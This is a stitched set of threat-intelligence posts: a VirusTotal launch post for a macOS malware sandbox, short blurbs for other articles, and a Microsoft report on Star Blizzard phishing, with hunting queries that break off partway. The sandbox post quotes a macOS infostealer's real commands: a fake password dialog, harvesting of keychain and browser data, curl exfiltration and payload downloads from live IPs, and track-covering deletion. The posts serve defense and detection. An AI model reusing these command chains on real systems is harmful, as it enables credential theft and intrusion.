In November 2015, we released our first in-house macOS sandbox, Box of Apples, followed by an update in March 2018 that introduced HTML behavior reports, desktop screenshots, and process trees. Over the past decade, the macOS ecosystem and the threat landscape targeting it have changed dramatically. Apple transitioned its hardware architecture from Intel (x86_64) to Apple Silicon (ARM64), hardened its operating system security model, and deprecated legacy dynamic tracing mechanisms. At the same time, macOS threat actors have shifted toward native ARM64 binaries, multi-stage social engineering installers, credential-harvesting AppleScripts, and evasive infostealers.
Today, we are excited to introduce macOS Mirage, our brand-new, ground-up dynamic analysis sandbox built natively for Apple Silicon and macOS 26. macOS Mirage replaces Box of Apples as part of the VirusTotal Multi-Sandbox project, delivering high-fidelity behavioral telemetry, automated Sigma behavioral detections mapped to MITRE ATT&CK, andβexclusively within our Private Scanning product offeringβfull Interactive Live Analysis.
Why We Built macOS Mirage: Beyond Box of Apples
Box of Apples was designed for an era of Intel-based Macs and relied on dtrace scripts to monitor system calls. As macOS evolved, two structural shifts required a completely new approach:
Native Apple Silicon (ARM64) Execution: Modern macOS applications and malware families are compiled natively for Apple Silicon or distributed as Universal Mach-O binaries. Running modern samples on legacy Intel hardware either fails outright or misses architecture-specific execution paths. macOS Mirage runs natively on bare-metal Apple Silicon hardware with Apple's native virtualization stack and macOS 26, ensuring authentic execution fidelity.
Modern Kernel-Backed Behavioral Telemetry: In modern macOS releases, System Integrity Protection (SIP) restricts legacy dtrace hooks, and high syscall volumes could cause event drops. macOS Mirage uses modern, kernel-supported macOS security instrumentation to capture process creation, command-line arguments, file system modifications, persistence installation, and access to sensitive credential stores without losing events.
Live Mouse, Keyboard & Clipboard Control(Private Scanning exclusive)
Rich GUI Execution and Persistence Tracking
Many macOS samples package their payloads inside disk images (.dmg) or application bundles (.app) that initialize graphical windows, register background services, or trigger system notifications during execution. macOS Mirage provides full graphics acceleration and desktop monitoring, capturing both visual screenshots and underlying system modifications in real time.
Figure 1: Dynamic detonation of a macOS application in macOS Mirage, capturing both the application GUI and a macOS system notification alerting to a newly registered persistent background Login Item.
Figure 2: Full window management, 3D rendering, and Dock process tracking inside macOS Mirage.
In addition to capturing screenshots to show what a user would see on screen, macOS Mirage automatically monitors security-sensitive locations across the operating system, including:
Persistence Mechanisms:LaunchAgents, LaunchDaemons, Login Items, and cron jobs.
Shell & Environment Profiles: Modifications to .zshrc, .bashrc, .zshenv, and /etc/profile.
Credential & Privacy Stores: Unauthorized access to Keychain databases (login.keychain-db), browser cookie and credential stores, SSH keys, and the Transparency, Consent, and Control (TCC.db) database.
System & Network Configuration: Changes to /etc/hosts, /etc/resolv.conf, and /private/etc/sudoers.
New Behavioral Detections with Sigma Rules: Catching a macOS Info-Stealer in Action
To help analysts quickly identify malicious behavior without sifting through thousands of raw file and process events, macOS Mirage evaluates runtime telemetry against a curated library of macOS Sigma rules and maps every detection directly to MITRE ATT&CK techniques.
When executed inside macOS Mirage, the binary (unix51436504) performs a multi-stage credential theft and persistence chain:
AppleScript Password Phishing: The malware invokes /usr/bin/osascript to display a deceptive system prompt titled "Password Request" asking the user: "Please enter device password to continue."
Local Credential Validation & LaunchDaemon Persistence: It validates the harvested password against local Directory Services (dscl . authonly) and invokes sudo -S to copy /tmp/daemonplist to /Library/LaunchDaemons/com.somedaemon.plist.
Keychain, Browser & Notes Harvesting: The sample opens the user's Keychain (/Users/admin/Library/Keychains/login.keychain-db), Safari cookies (Cookies.binarycookies), Apple Notes database (NoteStore.sqlite), SSH keys (authorized_keys, known_hosts), and .zsh_history, staging the stolen files under /tmp/lksopo while continuously polling the clipboard via pbpaste.
Secondary Payload Download, Exfiltration & Cleanup: Using ditto, the malware compresses the staging directory into /tmp/lksopo.zip, exfiltrates the archive via an HTTP POST request (curl -X POST), downloads a secondary bot payload (curl -o /tmp/binaryexe), and deletes the staging directory (rm -rf /tmp/lksopo) to cover its tracks.
From this single detonation, macOS Mirage automatically generates a high-confidence malicious verdict (macos_osascript_credential_phishing) and triggers 7 distinct Sigma rules spanning the entire attack lifecycle:
Sigma Rule Name
Severity
MITRE ATT&CK
Matched Behavioral Telemetry
macos_osascript_credential_phishing
High
T1059.002, T1056.002
Execution of /usr/bin/osascript displaying fake password prompt: osascript -e set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution
macos_sensitive_credential_store_access
High
T1555.001, T1555.003, T1005
Unauthorized access by ./unix51436504 to /Users/admin/Library/Keychains/login.keychain-db and Safari Cookies.binarycookies
macos_esf_sensitive_file_access
High
T1555.001, T1555.003, T1005
Access to /private/etc/sudoers during privileged persistence installation: sudo -S cp /tmp/daemonplist /Library/LaunchDaemons/com.somedaemon.plist
macos_esf_suspicious_curl_download
Medium
T1105, T1071.001
Downloading secondary stage payload via curl -o /tmp/binaryexe http://193.178.159.129/web/bot
macos_network_upload_activity
Medium
T1041, T1567
Exfiltrating compressed credential archive via curl -X POST -H buildid: ... --data-binary @/tmp/lksopo.zip http://109.238.87.111/log
macos_data_destruction_tools
Medium
T1485, T1070.004
Anti-forensic removal of staging directory via rm -rf /tmp/lksopo
macos_http_tools_with_protocol_indicators
Low
T1071.001, T1105
Automated curl command-line execution with explicit http:// C2 protocol indicators
Hunting Related Threats with VirusTotal Intelligence Pivots
At the time of analysis, sample be77bca22f078d57058535ddcf26a39a752a8df030392cb45ba6a60e06651878 was detected by only 6 out of 76 static antivirus engines. Moreover, during execution inside macOS Mirage, the first-stage dropper downloaded and executed a 12.9 MB universal Mach-O second-stage bot (f7dcdc4167ec267aef007f9d5f98e9e0314185e5355effd3e304b6fa686ea84c) alongside a LaunchDaemon persistence property list (d7dd630f67e03d2945185838dca887211ea3693c91fc0bd0d2e257948bb3b678, 0/75 AV detections). When that second-stage binary is detonated in isolation, it exits in under a second because it depends on hidden state files (~/.bhost, ~/.phost, ~/.username, ~/.pwd) written to disk by the first-stage dropper. Because macOS Mirage tracks the full multi-stage process tree on macOS 26, analysts can pivot directly on runtime command lines, dropped artifacts, network URI patterns, and Sigma detections across VirusTotal Intelligence to uncover entire clusters of active macOS campaigns. For a complete reference of supported file and behavior query syntax, see the VirusTotal Search Modifiers Full List.
1. Process & Command-Line Pivots (behaviour_processes)
Custom Exfiltration curl Headers: Hunts samples exfiltrating staged archives with custom buildid: and username: HTTP headers across rotating C2 servers: behaviour_processes:"curl -X POST -H buildid:"
Exfiltration Collector Server: Pivots on samples posting stolen Keychain, Safari cookie, and Notes archives to 109.238.87.111: behaviour_network:109.238.87.111
Second-Stage Bot C2 Server: Pivots on samples retrieving /web/bot and polling /api/v1/bot/actions/ on 193.178.159.129: behaviour_network:193.178.159.129
Interactive Live Analysis (Exclusive to Private Scanning)
While automated dynamic analysis and Sigma behavioral detections are available on VirusTotal reports, sophisticated macOS threats often require human interaction to detonate completely. Malware may hide behind multi-step custom installer wizards, require a password to unlock a disk image, or pause execution until realistic user input is providedβjust like the "Password Request" dialog shown above.
To empower incident responders and malware analysts, Interactive Live Analysis with macOS Mirage is available exclusively as part of our Private Scanning product offering in Google Threat Intelligence and VirusTotal Enterprise:
Real-Time Mouse & Keyboard Control: Analysts can step directly into the running macOS 26 desktop inside their web browser to click buttons, navigate prompts, open Terminal, or manually interact with suspicious applications.
Host-to-Guest Clipboard ("Send as Keystrokes"): Analysts can paste passwords, decryption keys, URLs, or terminal commands from their local workstation directly into the sandbox VM as simulated keystrokes.
Extended Session Timeouts & Network Control: Interactive sessions can run for extended durations (up to 30 minutes) and can be configured with custom network routing modesβincluding full isolation, simulated internet services, HTTPS MITM inspection, or Tor routing.
Complete Tenant Privacy: All files, interactive sessions, screenshots, and behavioral reports generated in Private Scanning remain strictly isolated within your organization's private environment and are never shared publicly.
Figure 4: Selecting macOS Mirage and enabling Live Interaction inside the Private Scanning configuration modal.
Figure 5: Using the "Send as keystrokes" clipboard bridge during a live interactive macOS Mirage session in Private Scanning.
Try It Out and Share Your Feedback
macOS Mirage is part of our ongoing commitment to expanding multi-platform dynamic analysis across VirusTotal and Google Threat Intelligence. To view the new behavioral reports on public samples, navigate to the Behavior tab on any macOS file report in VirusTotal to inspect process trees, file system changes, network activity, screenshots, and Sigma rule matches. Enterprise customers using Private Scanning can select MacOS Mirage directly from the scan configuration dialog to launch automated or live interactive sessions.
If you find any issues or have feature requests, please don't hesitate to contact us.
Our analysis an AI-powered espionage campaign targeting government Linux infrastructure with custom malware, web shells, and advanced credential theft.
Analysis of Blinder Tunnel, an Iran-nexus campaign using fake Dubai Airports recruitment lures and GitHub C2 malware to target critical infrastructure.
During recent website cleanup work, we analyzed a WordPress compromise where the same backdoor kept returning within seconds of every removal, no matter how carefully the visible files were deleted. Throughout this article, weβll refer to this family of malware as SC, named after the βSC_β markers found in the injected content.
What makes SC worth documenting is how it survives. The payload lives in at least eight places at once, spread across files, the database, and shared memory, and every one of those places can rebuild all the others.
Since January 2026, Microsoft has observed Russian state threat actor Star Blizzard evolve their detection evasion capabilities through large-scale phishing campaigns, the use of accounts on compromised websites, and a novel malware delivery technique that Microsoft tracks as βRedFlickβ. These changes represent a notable shift in the actorβs operational tradecraft and support ongoing cyberespionage activity targeting Ukrainian individuals and institutions as well as international non-government organizations (NGOs), Western think tanks, governments, and other organizations associated with international policyβparticularly those with a nexus in supporting Ukraine.
As part of this evolution, Star Blizzard adopted RedFlick, a malware delivery technique that helps evade detection by initiating a set of scheduled tasks to deploy the actorβs custom backdoor, CosmicPulse. This technique is a notable departure from the actorβs previous use of ClickFix-based infection chains which required victims to complete multiple actions before CosmicPulse could be installed. By contrast, the RedFlick infection flow only requires a single user interaction, reducing friction in the compromise process. Combined with the actorβs shift toward large-scale phishing operations during the same period, these changes likely improve Star Blizzardβs ability to reach more targets, evade detection, and increase the likelihood of successful compromise.
This blog provides updated technical analysis of Star Blizzardβs tactics, techniques, and procedures (TTPs) observed throughout 2026, building on our 2025 and 2023 blogs. It details the actorβs evolving phishing, persistence, and malware delivery techniques, and provides recommendations, indicators of compromise (IOCs), detections, and hunting guidance to help organizations identify and defend against RedFlick-related activity. As with any observed nation-state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with recommendations and mitigations to secure their accounts.
Star Blizzard TTPs observed in 2026
Star Blizzard is attributed by the United States Cybersecurity and Infrastructure Agency (CISA) as subordinate to the Russian Federal Security Service Centre (FSB) Centre 18. Star Blizzard periodically overhauls their TTPs to avoid detection, often in response to public exposure of the actorβs campaigns that have involved targeted social engineering through messaging apps and credential theft. Since Google Threat Intelligence Group published its report on Star Blizzardβs COLDCOPY malware in October 2025, Microsoft observed the actor refine their initial access and evasive techniques to include:
Moving away from targeted spear phishing to large-scale initial contact phishing campaigns
Using compromised websites to create accounts to send phishing emails
Updating malware deployment to facilitate the installation of a CosmicPulse downloader
As of the writing of this blog, the RedFlick campaigns have targeted Ukrainian individuals and institutions, as well as international NGOs, think tanks, governments, and financial institutions that have supported Ukraine politically or financially. Microsoft has observed this activity affect over 100 organizations primarily in the United States and United Kingdom, consistent with Star Blizzardβs longstanding targeting priorities.
Microsoft continues to observe some previously reported Star Blizzard phishing techniques throughout 2026; however, the TTPs discussed in this blog have been associated primarily with the actorβs new larger-scale phishing campaigns.
Larger-scale initial contact phishing
Microsoft previously reported on Star Blizzardβs spear-phishing campaigns observed during 2023-2024. During these operations, the actor continued to rely on their conventional TTPs such as initiating email contact with targets before sending a follow-up containing a malicious link, to actor-controlled/compromised infrastructure purposed for credential theft, while impersonating known political or diplomatic figures to lure victims into responding.
In 2026, Microsoft observed Star Blizzard shift from exclusively targeted spear-phishing operations to also conducting larger-scale phishing campaigns. The larger-scale phishing operations were observed at a scale not previously seen from the actor, ranging from tens to hundreds of email messages per campaign. This change likely reflects the actorβs adoption of a mass-mailing phishing platform to automate campaign execution and increase the likelihood of successful compromises by significantly expanding the initial targeting pool. The progression of these campaigns is summarized in the following timeline, including examples of Star Blizzardβs phishing subject lines, targeting details, and the malware delivery methods observed across each campaign:
January
βΠΠΎΠ²ΡΠ΄ΠΎΠΌΠ»Π΅Π½Π½Ρ ΠΏΡΠΎ ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΠΈ ΠΏΠΎΠ΄Π°ΡΠΊΠΎΠ²ΠΎΡ ΠΏΠ΅ΡΠ΅Π²ΡΡΠΊΠΈβ (Notice of tax audit results) β Campaign targeting unidentified Ukraine persons with an attached RedFlick lure.
February
βΡΠΏΠΈΡΠ°Π½Π½Ρ Π· ΠΠ°ΡΠΎΠ³ΠΎ ΡΠ°Ρ ΡΠ½ΠΊΡ Π·Π° ΠΎΠΏΠ»Π°ΡΡ ΡΡΡΠ°ΡΡβ (Debiting from your account for payment of a fine) β Campaign targeting unidentified Ukraine persons with an attached RedFlick lure.
March
βInvitation to an IISS [Private Roundtable/Closed-Door Discussion] on European Securityβ β Initial contact campaign targeting government officials, security researchers, academia, media, and NGOs. Respondents received a RedFlick lure attachment.
βInvitation to a Closed CES Roundtable Discussionβ β Initial contact campaign targeting US and Europe technology-sector organizations. Respondents received a RedFlick lure attachment.
βAtlantic Council Closed-Door Strategic Discussionβ β Initial contact campaign targeting government officials, foreign policy practitioners, security researchers, academia, media, and NGOs. Respondents received a link to DarkSword iOS backdoor installation.
April
βClosed-Door Online Session on Global Capital Allocation & M&Aβ β Initial contact campaign targeting international financial organizations and researchers. Respondents received a RedFlick lure attachment.
May
βFuture of Peace Operations Forum β A Closed Strategic Dialogueβ β Initial contact campaign targeting diplomatic and multilateral organizations. Respondents received a RedFlick lure attachment.
βFuture of Liberty Forumβ β Initial contact campaign targeting employees of a US-based think tank. Respondents received a RedFlick lure attachment.
June
βInvitation to the MAMA Summit on the Current Situation Surrounding the Ukrainian Crisisβ β Initial contact campaign targeting incumbent/former diplomatic staff. Respondents received a RedFlick lure attachment.
βInvitation to the Chatham House London Conference 2026 β 9 July 2026β β Initial contact campaign targeting think tanks, NGOs, and national parliamentary. Respondents received a RedFlick lure attachment.
July
βThought you might find this USUBC roundtable of interestβ β Initial contact campaign targeting think tanks, NGOs, and Ukraine civil society. Respondents received a RedFlick lure attachment.
βΠΠ½ΡΠΎΡΠΌΠ°ΡΡΡ ΡΠΎΠ΄ΠΎ ΡΠΈΠΌΡΠ°ΡΠΎΠ²ΠΎΠ³ΠΎ Π²ΡΠ΄ΠΊΠ»ΡΡΠ΅Π½Π½Ρ Π²ΠΎΠ΄ΠΎΠΏΠΎΡΡΠ°ΡΠ°Π½Π½Ρβ (Information about temporary water supply shutdown) β Targeted Kyiv-based hotels with an attached RedFlick lure.
August
βPayment Advice Note from 06.08.2026β β Targeted employees of an international financial organization with an attached RedFlick lure.
Once a recipient responds to the initial phishing email, Star Blizzard typically sends a follow-up message containing a password-protected RAR or ZIP archive. The archive contains files that initiate the RedFlick infection flow. The password is included as an image in the follow-up email shown in Figure 1, along with additional examples of Star Blizzard follow-up emails below:
Figure 1. July 2026 RedFlick campaign follow-up email regarding an βomittedβ attachmentFigure 2. June 2026 RedFlick campaign follow-up email with the subject line βInvitation to the Chatham House London Conference 2026βFigure 3. August 2026 RedFlick campaign follow-up email with a payment notice subject line sent to all targets
Since January 2026, Microsoft observed at least 13 distinct large-scale phishing campaigns targeting primarily NGOs, think tanks, and government organizations worldwide. The earliest campaigns, observed between January and February, targeted unspecified users of the Ukraine email provider Ukr.net. These emails impersonated Ukrainian authorities and were themed as notifications of a tax audit or outstanding fine.
Beginning in March 2026, Star Blizzard expanded targeting outside of Ukraine. Subsequent campaigns frequently used lures themed as invitations to conferences or events purportedly organized by a reputable think tank or NGO. Microsoft also observed the actor target multiple individuals within the same organization, with phishing emails often crafted to appear as internal communications originating from the targeted organization itself. The actorβs shift from Ukraine-focused operations to global targets could indicate Star Blizzard initially targeted Ukraine to test their new capabilities.
The large-scale campaigns have demonstrated capabilities previously unassociated with Star Blizzard. For example, a campaign observed in mid-August 2026 employed steganography to conceal identifiers. Throughout 2026, Star Blizzard has also continued to develop additional operational capabilities. Notably, ProofPoint reported in March that the actor had targeted vulnerable Apple iOS devices to deploy the DarkSword backdoor.
Creating accounts on compromised websites
Since March 2026, Star Blizzard has made another notable change to their TTPs to support the higher-volume phishing operations, using accounts created on compromised websites to send phishing emails to targets. This change coincided with the actorβs shift to larger-scale phishing campaigns and has been observed almost exclusively in support of these operations. Previously, the actor would create accounts on free email services (predominantly using Protonmail and Microsoft consumer accounts) to impersonate an individual that would be well known to the prospective target, whether it was a political figure, academic, or former diplomat. In the large-scale campaigns, Star Blizzard has used accounts created on websites hosted on CPanel and WordPress, using the same account name across multiple website domains. Microsoft Threat Intelligence assesses with high confidence that these websites have been compromised by Star Blizzard for this purpose.
Updating malware delivery and installation TTPs
Between January and August 2026, Microsoft observed multiple waves of Star Blizzard phishing campaigns alongside notable changes in the actorβs initial access TTPs, particularly the use of RedFlick scheduled tasks. During this period, Microsoft observed three significant shifts in the threat actorβs delivery techniques.
From ClickFix to VHDX
Figure 4. VHDX lure execution chain
In mid-January 2026, Microsoft observed the use of a malicious Virtual Hard Disk v2 (VHDX), delivered through a phishing email containing a password-protected ZIP file. The VHDX file ships a malicious LNK file disguised as a PDF document, alongside a hidden directory containing a BAT script and a legitimate decoy PDF.
When the victim opens the LNK file, conhost.exe is launched in a hidden window and cmd.exe is subsequently spawned to execute the embedded BAT script:
The BAT file opens the decoy PDF and invokes SSH.exe with PermitLocalCommand enabled, ultimately downloading and executing a remotely hosted MSI installer:
In multiple campaigns, Microsoft observed an MSI installer creating a scheduled task that uses control.exe to download and execute a remotely hosted CosmicPulse downloader masquerading as a Control Panel applet (CPL). Unlike earlier campaigns that relied on ClickFix lures and user interaction, this approach relies on compiling the CosmicPulse downloader as a Control Panel applet DLL.
The shift from interactive user execution to remote execution and masquerading as a CPL item highlights an evolution in both persistence and defense evasion techniques.
CosmicPulse downloader
The Control Panel applet DLL is a downloader with the sole purpose of downloading and installing a version of CosmicPulse, a malicious Python backdoor, on the target device. The downloader is also known publically as NOROBOT or BAITSWITCH.
Similar to previous versions, this downloader downloads, persists, and executes a version of CosmicPulse on the infected device. Upon execution, it downloads two ZIP files and stores them on disk. It then writes an encrypted AES key to the HKEY_CURRENT_USER\Software\Classes\.mollis registry key. One ZIP file contains a Python 3.8 64-bit package and a Python file that serves as the CosmicPulse bootstrapper. The bootstrapper reads the encrypted key from the registry, recovers it using an embedded key in AES-ECB mode, and then uses the recovered key to decode the CosmicPulse payload (also known as YESROBOT) contained in the second ZIP file. The below image shows the process of the CosmicPulse installation.
Since January 2026, Microsoft has observed the CosmicPulse backdoor going through various little changes to circumvent existing signatures. However, the capabilities and purpose of this backdoor remain the same as described in previous articles.
Persistence through multiple scheduled tasks
In April 2026, Microsoft observed Star Blizzard changing persistence tactics to include RedFlick scheduled tasks. Whereas a malicious MSI file installed a single scheduled task in Januaryβby April, the actorβs MSI installer created three scheduled tasks masquerading as legitimate network components, each with their own purpose. The TTPs have overlaps with the spear-phishing campaigns reported by the Digital Security Lab Ukraine (DLUA) in June 2026. In at least one incident, Microsoft has observed either the first or third task deploying an instance of CosmicPulse on the infected machine.
Figure 6. Scheduled task installed through MSI installer observed in April 2026
Task 1 β Registration beaconing and dynamic DLL execution task
The first task masquerades as a legitimate Internet Quality Test Connection task. The scheduled command serves two purposes. First, it sends a UTF-16 and Base64-encoded string containing the network or computer name and the username of the infected device to the C2 server. Thereby, it exfiltrates basic information about the infected host.
Second, an attacker-controlled DLL can be executed remotely through invoking Control_RunDLL from Shell32.dll. Microsoft was unable to obtain a variant of this payload. The task uses a WebDAV UNC path to access the remote payload, allowing the resource to be retrieved over HTTP rather than through a conventional SMB network share.
Task 2 β Supporting task
The second installed task, named Network Configuration Manager, supports the WebDAV-based execution used by the other tasks. The invoked command causes Windows to treat the UNC-style path as a WebDAV resource and process it through the WebDAV redirector and associated WebClient functionality.
Through WebDAV, Windows applications can interact with a remote web resource as though it is a file or folder path while the underlying communication is performed using HTTP/HTTPS rather than conventional SMB. The task therefore prepares the WebDAV client functionality required by the other scheduled tasks.
Task 3 β CosmicPulse downloader execution
The third installed task, named System Health Monitor, uses control.exe to access a remote path hosted on the hardcoded C2 server and execute the next stage.
Hiding payloads in PDF files
In July 2026, Microsoft observed another change in Star Blizzardβs delivery techniques, this time involving a multistage execution chain.
Figure 7. Overview of attack chain from July 2026
The phishing email contains a password-protected RAR archive nested inside a ZIP file. After the archive is opened, it exposes an LNK file.
When executed, the LNK file uses conhost.exe and curl to download a PDF from an actor-controlled server:
After downloading the PDF, the command runs a second PowerShell payload. This payload searches the PDF for the magic header cAB, extracts the subsequent 208 bytes of Base64-encoded data, and executes the decoded command through PowerShell. The resulting conhost command, shown below, attempts to download and install another MSI file:
As in previous campaigns, the Python installer contains obfuscated PowerShell code. When executed, the code attempts to create two additional scheduled tasks. The first scheduled task again serves as a helper task, consistent with the supporting tasks observed in previous campaigns. The second scheduled task attempts to download and execute a CPL applet again.
Star Blizzardβs shift from ClickFix-based delivery chains to VHDX files, expanded use of scheduled tasks for persistence, and concealment of payloads within PDF files demonstrate the actorβs continued ability to adapt their delivery methods in response to evolving defenses. The actorβs recent use of PDFs to conceal payloads further illustrates efforts to bypass layered defenses through increasingly complex execution chains. Taken together, these changes demonstrate Star Blizzardβs continued efforts to streamline malware deployment, reduce required user interaction, and improve operational scalability while maintaining its longstanding espionage objectives.
Defending against Star Blizzard and RedFlick-related activity
Microsoft Threat Intelligence advises organizations that are most likely at riskβprimarily those in government, NGOs, or think tanks adjacent to Ukraine policy or supportβto implement the following recommendations to mitigate against Star Blizzard activity.
Protecting against Star Blizzard phishing
As previously reported, Star Blizzardβs success relies on sophisticated, targeted phishing lures that trick users into engaging with the actor by impersonating trusted contacts. While Star Blizzard has changed their overall TTPs, the actor continues to employ the same phishing patterns against users:
Star Blizzard continues to impersonate trusted contacts that users or organizations would expect an email from. Star Blizzard also continues using email from free providers such as Proton @proton[.]me, particularly in Evilginx spear-phishing operations observed throughout 2026. However, despite the actorβs recent shift toward leveraging compromised legitimate websites that impersonate real individuals associated with a targetβs organization, users can still remain vigilant for other Star Blizzard TTPs, several of which have been observed in previous campaigns:
Star Blizzard continues to make initial contact with a target by sending an email, usually without an attachment.
If a user engages, Star Blizzard will follow up with an email with an attachment. In this particular campaign, it has been an archive file such as a RAR or ZIP.
The email sender contains names of actual persons and organizations they belong toβhowever, the organization is not within the root or registered domain itself but in the username or local part of the email address. This should draw a red flag to the emailβs authenticity. When in doubt, directly contact the person you think sent the email using a previously established and trusted contact method such as known email address or phone number.
The emails in these RedFlick campaigns are often sent in bulk.
To best mitigate against this activity, Microsoft suggests the following policies to strengthen network environments against Star Blizzard phishing operations:
Microsoft also recommends the following mitigations to reduce the impact of this threat
Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat, or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-compromise.
Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
Configure investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
Turn on cloud-delivered protection and automatic sample submission in Microsoft Defender Antivirus to cover rapidly evolving attacker tools, techniques, and behaviors. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
Use security defaults as a baseline set of policies to improve identity security posture. For more granular control, enable Conditional Access policies. Conditional Access policies evaluate sign-in requests using additional identity driven signals like user or group membership, IP location information, and device status, among others, and are enforced for suspicious sign-ins. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as compliant devices or trusted IP address requirements.
Continuously monitor suspicious or anomalous activities. Investigate sign-in attempts with suspicious characteristics (for example, location, ISP, user agent, and use of anonymizer services).
Turn on Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly-acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
Configure Microsoft Defender for Office 365 to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow, and time-of-click verification of URLs and links in email messages, other Office 365 applications such as Teams, and other locations such as SharePoint Online. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links that are used in phishing and other attacks.
Use the Attack Simulator in Microsoft Defender for Office 365 to organize realistic, yet safe, simulated phishing and password attack campaigns in your organization by training end users against clicking URLs in unsolicited messages and disclosing their credentials. Training should include checking for poor spelling and grammar in phishing emails or the applicationβs consent screen as well as spoofed app names, logos, and domain URLs appearing to originate from legitimate applications or companies. Note that Attack Simulator testing only supports phishing emails containing links at this time.
Utilize Windows Firewall, Windows Firewall with Advanced Security, or an enterprise firewall/filtering solution to help prevent or restrict outbound SSH connection attempts to external or public networks that are not essential for business.
Microsoft Defender detections
Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.
Tactic
Observed activity
Microsoft Defender coverage
Initial access
β Phishing emails with attached archive files or PDFs throughout the campaign β VHDX file executes malicious LNK disguised as a PDF; use of LNK to hide malicious payload across all campaigns β LNK file uses curl to download a PDF from an actor-controlled server
Microsoft Defender for Endpoint β Star Blizzard Activity Group β Suspected PDF phishing detected β Suspicious phishing activity detected β Suspicious LNK execution from container β Suspicious file download via curl
Execution
β Execution of RedFlick scheduled task and CosmicPulse backdoor β MSI file installs scheduled tasks across all campaigns
Microsoft Defender Antivirus β Trojan:Script/RedFlick β Backdoor:Script/CosmicPulse β Backdoor:Python/CosmicPulse
Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.
Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.
Threat intelligence reports
Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.
Hunting queries
Microsoft Defender XDR
Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:
Conhost.exe invokes curl
The following query will detect the use of conhost.exe to launch curl to download a decoy PDF from an actor-controlled server, which Star Blizzard used in July 2026. (Note that this query may detect activity not related to Star Blizzard or necessarily malicious. Please investigate findings to determine if the activity is legitimate.)
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName == "conhost.exe"
| where ProcessCommandLine has "curl"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName, DeviceId, ProcessId, ProcessUniqueId, InitiatingProcessUniqueId
Invoke SSH to launch local command line
The following query will detect the invocation of SSH to initiate a local command prompt, which Star Blizzard used in January 2026 to download and execute a remotely hosted MSI installer. (Note that this query may detect activity not related to Star Blizzard or necessarily malicious. Please investigate findings to determine if the activity is legitimate.)
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "ssh.exe"
| where ProcessCommandLine has "PermitLocalCommand=yes"
| where ProcessCommandLine has "LocalCommand=cmd.exe"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessParentFileName, DeviceId, ProcessId, InitiatingProcessId, ReportId
Persistence through scheduled tasks
The following query will detect Star Blizzardβs uniquely named scheduled tasks that attempt to masquerade as legitimately-named tasks, used for persistence by Star Blizzard in April 2026.
union isfuzzy=true
(
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or AdditionalFields has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor")
| project Timestamp, DeviceName, ActionType, ProcessCommandLine, AdditionalFields
, RegistryKey = tostring(dynamic(null)), RegistryValueName = tostring(dynamic(null))
, SourceTable = "DeviceProcessEvents"
, ProcessId, AccountName, AccountDomain, AccountSid
)
,
(
DeviceEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or AdditionalFields has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or RegistryKey has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or RegistryValueName has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor")
| project Timestamp, DeviceName, ActionType, ProcessCommandLine, AdditionalFields, RegistryKey, RegistryValueName
, SourceTable = "DeviceEvents"
, ProcessId = long(null), AccountName = "", AccountDomain = "", AccountSid = ""
)
,
(
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or RegistryValueName has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or RegistryValueData has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor") or InitiatingProcessCommandLine has_any ("Internet Quality Test Connection","Network Configuration Manager","System Health Monitor")
| project Timestamp, DeviceName, ActionType
, ProcessCommandLine = InitiatingProcessCommandLine, AdditionalFields = ""
, RegistryKey, RegistryValueName
, SourceTable = "DeviceRegistryEvents"
